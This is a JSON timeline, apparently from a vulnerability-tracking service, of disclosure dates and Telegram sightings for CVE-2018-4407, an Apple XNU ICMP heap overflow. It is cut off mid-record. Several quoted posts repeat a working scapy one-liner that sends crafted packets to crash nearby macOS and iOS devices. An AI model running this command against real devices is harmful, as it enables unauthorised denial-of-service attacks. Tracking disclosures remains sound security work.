{"metadata": {"vulnerability": "CVE-2018-4407", "count": 40, "kinds": {"milestone": 4, "sighting": 13, "kev": 0, "other": 23}}, "data": [{"timestamp": "2018-01-02T00:00:00Z", "date_only": false, "value": "2018-01-02T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2018-4407", "field": "cveMetadata.dateReserved"}, {"timestamp": "2018-09-26T00:00:00Z", "date_only": false, "value": "2018-09-26T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-201904-1367", "record": "VAR-201904-1367", "field": "sources_update_date.data.4.date"}, {"timestamp": "2018-10-31T00:00:00Z", "date_only": false, "value": "2018-10-31T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-201904-1367", "record": "VAR-201904-1367", "field": "sources_release_date.data.6.date"}, {"timestamp": "2018-10-31T00:00:00Z", "date_only": false, "value": "2018-10-31T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2018-AVI-524", "record": "CERTFR-2018-AVI-524", "field": "revisions.0.revision_date"}, {"timestamp": "2018-11-01T00:00:00Z", "date_only": false, "value": "2018-11-01T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-201904-1367", "record": "VAR-201904-1367", "field": "sources_update_date.data.2.date"}, {"timestamp": "2018-11-01T16:55:05Z", "date_only": false, "value": "2018-11-01T16:55:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/alexmakus/2490", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "253e31ab-c0d4-4faf-8a8a-887c36867c5b", "content": "\u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u0430\u0440\u0443 \u0434\u043d\u0435\u0439 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0437\u0430\u043c\u0435\u0442\u043e\u043a \u043f\u0440\u043e \u0432\u0441\u044f\u043a\u0438\u0435 \u0432\u0435\u0449\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 Apple \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0441\u043e\u0431\u0440\u0430\u043b \u0438\u0445 \u0432\u0441\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0435. \n\n\u0412\u0447\u0435\u0440\u0430 Apple \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u044c\u0438 \u043e \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0447\u0438\u0442\u0430\u0439 \u2014\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445) \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u0432 \u0432 \u043a\u0430\u0436\u0434\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0442\u0443\u0442 https://support.apple.com/en-us/HT201222. \u042f \u0434\u0443\u043c\u0430\u044e, \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044c, \u0447\u0442\u043e \u0442\u0435\u0440\u043c\u0438\u043d \"arbitrary code\" \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u0432 macOS 10.14 Mojave \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u0440\u0430\u0437! \n\n\u0422\u0430\u043c \u0436\u0435 \u0438 \u0442\u0430\u043a\u0430\u044f \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u043d\u043e\u043c\u0435\u0440\u043e\u043c CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407) \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f ICMP \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \"\u0437\u0430\u0432\u0430\u043b\u0438\u0442\u044c\" \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0435\u0442\u0438 \u041c\u0430\u043a \u0441 High Sierra \u0438 ios-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441 iOS 11, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430 \u044d\u0442\u043e\u043c \u0432\u0438\u0434\u0435\u043e \u0432 \u0442\u0432\u0438\u0442\u0435 (https://twitter.com/kevin_backhouse/status/1057352656560287746):\n\n\u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u043e\u0436\u0435 \u0443\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u0438\u043d \u0442\u0432\u0438\u0442:\npip install scapy\nsudo scapy \nsend(IP(dst=\u201cTarget IP\u201c,options=[IPOption(\u201cA\u201d*8)])/TCP(dport=2323,options=[(19, \u201c1\"*18),(19, \u201c2\u201d*18)]))\n\n\u041d\u0443 \u0438, \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u043b\u044e\u0431\u0438\u0442\u0435\u043b\u0438 \u043f\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u043a\u0440\u0430\u043d \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 iOS, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u0430\u043c \u0432 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0432 \u0441\u0432\u0435\u0436\u0435\u0432\u044b\u0448\u0435\u0434\u0448\u0435\u0439 iOS 12.1:\nhttps://youtu.be/ojigFgwrtKs\n\n\u0428\u0430\u0433\u0438 \u0442\u0430\u043c \u043d\u0435 \u0441\u0430\u043c\u044b\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0435, \u043d\u043e \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043c\u043e\u0436\u043d\u043e. \u041c\u043d\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043a\u043e\u043c\u0443-\u0442\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Apple \u043d\u0435\u043f\u043b\u043e\u0445\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u043d\u0443\u0448\u0435\u043d\u0438\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0443 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0436\u0435, \u044d\u0442\u043e \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439.", "url": "https://t.me/alexmakus/2490", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2018-11-01T21:54:24Z", "date_only": false, "value": "2018-11-01T21:54:24.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/zhovner_hub/181", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "4f7fa834-c34f-478b-8159-c6f7e0084e1d", "content": "https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407", "url": "https://t.me/zhovner_hub/181"}, {"timestamp": "2018-11-01T21:59:59Z", "date_only": false, "value": "2018-11-01T21:59:59.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/antichat/2495", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "2fa6bcaf-0051-4082-bedc-554fca0bce61", "content": "\u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u0430\u0440\u0443 \u0434\u043d\u0435\u0439 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0437\u0430\u043c\u0435\u0442\u043e\u043a \u043f\u0440\u043e \u0432\u0441\u044f\u043a\u0438\u0435 \u0432\u0435\u0449\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 Apple \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0441\u043e\u0431\u0440\u0430\u043b \u0438\u0445 \u0432\u0441\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0435. \n\n\u0412\u0447\u0435\u0440\u0430 Apple \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u044c\u0438 \u043e \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0447\u0438\u0442\u0430\u0439 \u2014\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445) \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u0432 \u0432 \u043a\u0430\u0436\u0434\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0442\u0443\u0442 https://support.apple.com/en-us/HT201222. \u042f \u0434\u0443\u043c\u0430\u044e, \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044c, \u0447\u0442\u043e \u0442\u0435\u0440\u043c\u0438\u043d \"arbitrary code\" \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u0432 macOS 10.14 Mojave \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u0440\u0430\u0437! \n\n\u0422\u0430\u043c \u0436\u0435 \u0438 \u0442\u0430\u043a\u0430\u044f \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u043d\u043e\u043c\u0435\u0440\u043e\u043c CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407) \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f ICMP \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \"\u0437\u0430\u0432\u0430\u043b\u0438\u0442\u044c\" \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0435\u0442\u0438 \u041c\u0430\u043a \u0441 High Sierra \u0438 ios-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441 iOS 11, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430 \u044d\u0442\u043e\u043c \u0432\u0438\u0434\u0435\u043e \u0432 \u0442\u0432\u0438\u0442\u0435 (https://twitter.com/kevin_backhouse/status/1057352656560287746):\n\n\u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u043e\u0436\u0435 \u0443\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u0438\u043d \u0442\u0432\u0438\u0442:\npip install scapy\nsudo scapy \nsend(IP(dst=\u201cTarget IP\u201c,options=[IPOption(\u201cA\u201d*8)])/TCP(dport=2323,options=[(19, \u201c1\"*18),(19, \u201c2\u201d*18)]))\n\n\u041d\u0443 \u0438, \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u043b\u044e\u0431\u0438\u0442\u0435\u043b\u0438 \u043f\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u043a\u0440\u0430\u043d \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 iOS, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u0430\u043c \u0432 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0432 \u0441\u0432\u0435\u0436\u0435\u0432\u044b\u0448\u0435\u0434\u0448\u0435\u0439 iOS 12.1:\nhttps://youtu.be/ojigFgwrtKs\n\n\u0428\u0430\u0433\u0438 \u0442\u0430\u043c \u043d\u0435 \u0441\u0430\u043c\u044b\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0435, \u043d\u043e \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043c\u043e\u0436\u043d\u043e. \u041c\u043d\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043a\u043e\u043c\u0443-\u0442\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Apple \u043d\u0435\u043f\u043b\u043e\u0445\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u043d\u0443\u0448\u0435\u043d\u0438\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0443 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0436\u0435, \u044d\u0442\u043e \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439.", "url": "https://t.me/antichat/2495", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2018-11-02T00:00:00Z", "date_only": true, "value": "2018-11-02", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2018-22363", "record": "CNVD-2018-22363", "field": "submitTime"}, {"timestamp": "2018-11-02T02:17:41Z", "date_only": false, "value": "2018-11-02T02:17:41.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/N0iSeBit/167", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "f2f6f72a-b6d8-46af-9116-03b3ab8e7161", "content": "iOS 12 / OS X Remote Kernel Heap Overflow (CVE-2018-4407) POC \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0440\u043e\u043a:\npip install scapy\nsudo scapy \nsend(IP(dst=\u201cTarget IP\u201c,options=[IPOption(\u201cA\u201d*8)])/TCP(dport=2323,options=[(19, \u201c1\"*18),(19, \u201c2\u201d*18)]))", "url": "https://t.me/N0iSeBit/167", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2018-11-03T00:00:00Z", "date_only": true, "value": "2018-11-03", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2018-22363", "record": "CNVD-2018-22363", "field": "openTime"}, {"timestamp": "2018-11-04T21:22:26Z", "date_only": false, "value": "2018-11-04T21:22:26.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/canyoupwnme/4688", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "a97b72b7-fd18-44b2-b818-21abbbd37db6", "content": "Kernel RCE caused by buffer overflow in Apple's ICMP packet-handling code (CVE-2018-4407)\nhttps://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407", "url": "https://t.me/canyoupwnme/4688"}, {"timestamp": "2018-11-06T19:44:33Z", "date_only": false, "value": "2018-11-06T19:44:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/VulnerabilityNews/2893", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "3461fe48-e789-4ccb-8728-143e272a5981", "content": "#0daytoday #XNU Kernel iOS / macOS heap buffer overflow Exploit CVE-2018-4407 [dos #exploits #0day #Exploit]\nRead More", "url": "https://t.me/VulnerabilityNews/2893", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2018-11-09T02:35:17Z", "date_only": false, "value": "2018-11-09T02:35:17.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/securixy_kz/220", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "06eec3f5-61d7-4fda-a00a-ac543a1c8b49", "content": "iOS 12 / OS X Remote Kernel Heap Overflow (CVE-2018-4407) POC \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0440\u043e\u043a:\npip install scapy\nsudo scapy \nsend(IP(dst=\u201cTarget IP\u201c,options=[IPOption(\u201cA\u201d*8)])/TCP(dport=2323,options=[(19, \u201c1\"*18),(19, \u201c2\u201d*18)]))", "url": "https://t.me/securixy_kz/220"}, {"timestamp": "2018-12-31T09:42:50Z", "date_only": false, "value": "2018-12-31T09:42:50.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus-applen-icmp-toteutuksissa", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "57e2eb30-e5ee-4b9c-bd1f-2a3e17ec31e6", "url": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus-applen-icmp-toteutuksissa"}, {"timestamp": "2019-04-03T00:00:00Z", "date_only": false, "value": "2019-04-03T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-201904-1367", "record": "VAR-201904-1367", "field": "sources_release_date.data.0.date"}, {"timestamp": "2019-04-03T00:00:00Z", "date_only": false, "value": "2019-04-03T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2018-4407", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2019-04-03T18:29:00Z", "date_only": false, "value": "2019-04-03T18:29:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-PCV9-8R98-7P98", "record": "GHSA-PCV9-8R98-7P98", "field": "database_specific.nvd_published_at"}, {"timestamp": "2019-04-03T18:29:00Z", "date_only": false, "value": "2019-04-03T18:29Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2018-4407", "record": "GSD-2018-4407", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2019-04-03T18:29:13.610Z", "date_only": false, "value": "2019-04-03T18:29:13.610000", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-201904-1367", "record": "VAR-201904-1367", "field": "sources_release_date.data.5.date"}, {"timestamp": "2019-04-03T18:29:13.610Z", "date_only": false, "value": "2019-04-03T18:29:13.610", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2018-4407", "record": "FKIE_CVE-2018-4407", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2019-04-05T00:00:00Z", "date_only": false, "value": "2019-04-05T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-201904-1367", "record": "VAR-201904-1367", "field": "sources_update_date.data.0.date"}, {"timestamp": "2019-04-18T00:00:00Z", "date_only": false, "value": "2019-04-18T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-201904-1367", "record": "VAR-201904-1367", "field": "sources_update_date.data.3.date"}, {"timestamp": "2020-05-12T13:27:31Z", "date_only": false, "value": "2020-05-12T13:27:31.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Ninjutsu_os/134", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "3d098c77-254a-484b-b56d-ff95c7699ac2", "content": "\ud83d\udd30Ninjutsu OS Info \ud83d\udd30  \n\n\nWe added 40 Nmap Scripting Engine (NSE) to Ninjutsu OS\n\nAxis_vuln_webcam\ncisco-asa-scan\nhttp-middleware-path-finder\nCVE-2018-13379\ncisco-cve-2019-1937\nhttp-pulse_ssl_vpn\nCVE-2018-20377\ncitrix\nhttp-screenshot\nphpadmin\nCVE-2018-4407\nclickjacking-prevent-check\nhttp-shellshock\nsmb-vuln-cve-2020-0796\nCVE-2018-7600_drupalgeddon\ncve_2019_1653\nhttp-vuln-CVE-2019-16759\ntomcat-cve-2017-12615\nCVE-2019-19781\ndlink-cve-2019-13101\nhttp-vuln-cve2017-18195\ntraversal\nCVE-2020-0796\ndocker_daemontcp\nhttp-waf-test\nvxworks_urgent11\nIIS-CVE-2010-2731\nfile-checker\nhttpcs_docker-daemontcp-prod\nweblogic-CNVD-C-2019-48814\nMS15-034\nfreevu\narch\nhydra\nweblogic-cve-2018-2894\nabb-cve-2019-7226\nhttp-lfi\ninfiltrator\nwinVulnDetection", "url": "https://t.me/Ninjutsu_os/134"}, {"timestamp": "2020-05-12T13:27:34Z", "date_only": false, "value": "2020-05-12T13:27:34.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Ninjutsu_os/739", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "00ad5947-e720-4688-8940-6c33618efba3", "content": "\ud83d\udd30Ninjutsu OS Info \ud83d\udd30  \n\n\nWe added 40 Nmap Scripting Engine (NSE) to Ninjutsu OS\n\nAxis_vuln_webcam\ncisco-asa-scan\nhttp-middleware-path-finder\nCVE-2018-13379\ncisco-cve-2019-1937\nhttp-pulse_ssl_vpn\nCVE-2018-20377\ncitrix\nhttp-screenshot\nphpadmin\nCVE-2018-4407\nclickjacking-prevent-check\nhttp-shellshock\nsmb-vuln-cve-2020-0796\nCVE-2018-7600_drupalgeddon\ncve_2019_1653\nhttp-vuln-CVE-2019-16759\ntomcat-cve-2017-12615\nCVE-2019-19781\ndlink-cve-2019-13101\nhttp-vuln-cve2017-18195\ntraversal\nCVE-2020-0796\ndocker_daemontcp\nhttp-waf-test\nvxworks_urgent11\nIIS-CVE-2010-2731\nfile-checker\nhttpcs_docker-daemontcp-prod\nweblogic-CNVD-C-2019-48814\nMS15-034\nfreevu\narch\nhydra\nweblogic-cve-2018-2894\nabb-cve-2019-7226\nhttp-lfi\ninfiltrator\nwinVulnDetection", "url": "https://t.me/Ninjutsu_os/739"}, {"timestamp": "2022-05-14T01:12:42Z", "date_only": false, "value": "2022-05-14T01:12:42Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-PCV9-8R98-7P98", "record": "GHSA-PCV9-8R98-7P98", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-05-14T01:12:42Z", "date_only": false, "value": "2022-05-14T01:12:42Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-PCV9-8R98-7P98", "record": "GHSA-PCV9-8R98-7P98", "field": "modified"}, {"timestamp": "2023-06-12T00:00:00Z", "date_only": false, "value": "2023-06-12T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-201904-1367", "record": "VAR-201904-1367", "field": "sources_update_date.data.1.date"}, {"timestamp": "2023-06-12T00:00:00Z", "date_only": false, "value": "2023-06-12T00:00:00.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / apple", "record": "CVE-2018-4407", "field": 